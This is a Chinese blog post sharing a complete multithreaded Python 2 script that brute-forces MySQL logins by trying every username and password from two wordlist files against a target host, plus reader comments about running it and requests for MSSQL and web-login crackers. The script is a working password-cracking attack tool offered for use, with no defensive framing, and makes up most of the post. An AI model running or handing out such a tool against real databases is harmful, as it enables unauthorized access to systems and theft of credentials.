正在阅读:

[Python]MySQL暴力破解工具多线程版

26,708

之前发布了Python MySQL暴力破解工具单线程版,今天再补上Python MySQL暴力破解工具多线程版,给有需要的同学们。

这个工具在键盘中止异常方面处理的有问题,不知道是怎么回事,老是捕获不了ctrl+c异常,希望哪位兄弟帮我改进一下。。。

代码写的比较简洁,文件读取部分异常处理没有写,所以在使用本工具前,请确保脚本同目录下存在user.txt,pass.txt两个文件

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/11/12
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()


def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具多线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-11-12'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn  3306  test user.txt pass.txt"
        sys.exit()


def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '大爷,按您的吩咐,已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        # print '未知错误大爷:', msg
        pass
    finally:
        if db:
            db.close()


if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密  码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []

    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] 恭喜大爷,MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] 杯具了大爷,MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

MySQL暴力破解工具多线程版

实测单线程需要14秒,多线程只需要7秒,快了1倍,当然这个多线程实现的可能有点小问题,希望兄弟们和我改进一下。

目前有:14条访客评论,博主回复11

  1. liangliang
    2014-11-17 21:56

    为嘛没有下载地址。测试下。效果

  2. aftroon
    2014-11-18 11:45

    老大,怎么没有得下载的啊,怎样运行啊,求求求

    • 独自等待
      2014-11-18 21:02

      脚本工具是不用下载的,只用装一个python2.7.8然后把我共享的代码保存为x.py就可以执行了。。

  3. aftroon
    2014-11-18 11:46

    我在弄FTP暴力破解,麻烦老大了

  4. W-HHH
    2014-11-20 07:24

    捕捉不到ctrl+c的原因很可能你使用的是多线程,只有一个线程能捕捉到,其它不行,所以看起来没有捕捉到,你测试一下单线程,如果能捕捉到,哪就说明我想的没错

    • 独自等待
      2014-11-20 21:21

      应该是这个问题,下次遇到类似的问题,我再改进一下代码。

  5. xc
    2014-12-29 11:10

    File “MySQL暴力破解工具多线程版.py”, line 12
    SyntaxError: ‘gbk’ codec can’t decode bytes in position 40-41: illegal multibyte
    sequence

    • 独自等待
      2015-01-04 10:12

      请把py保存为ANSI编码,在cmd下执行就不会出现乱码了。

    • 星夜
      2017-04-19 09:30

      @xc:去掉代码中的第二行: # -*- coding: gbk -*-
      这个问题应该就可以解决了!

  6. null
    2015-02-09 13:43

    赞,最近正在准备写一个暴破的小工具

  7. 123
    2015-06-03 09:59

    Traceback (most recent call last):
    File “C:\Python27\1.py”, line 58, in
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    IOError: [Errno 2] No such file or directory: ‘user.txt’

    提示这个 什么情况 老大 弄个教程呗!!!

  8. 小手一抖
    2015-06-20 21:44

    应该用c写个多端口爆破软件,专爆sql菊花,开源

    • 独自等待
      2015-06-25 13:26

      c语言不会呀,自己太菜了,以后有机会再学习。

  9. 的
    2015-10-20 11:31

    代码可以压缩一半

  10. aa
    2015-10-29 23:20

    File “F:\PYTHON\xx\xx.py”, line 9
    SyntaxError: Non-ASCII character ‘\xb6’ in file F:\PYTHON\xx\xx.py on line 9, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details
    怎么回事大神

  11. 123
    2016-01-10 12:28

    请问这个命令怎么执行?1.py X.X.X.X 命令是什么!!

    • 独自等待
      2016-01-11 09:38

      这个很简单的呀,请多看看程序的提示。。

  12. fffff
    2016-01-27 16:48

    [!] MySQLdb模块导入错误,请到下面网址下载:
    [!] http://www.codegood.com/archives/129
    这个什么情况

    • 独自等待
      2016-01-27 17:38

      去提示的网址下载个exe版的库安装上就可以了。

  13. Tom
    2017-03-11 23:13

    能不能写一个py的mssql破解和web登陆破解呢?

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌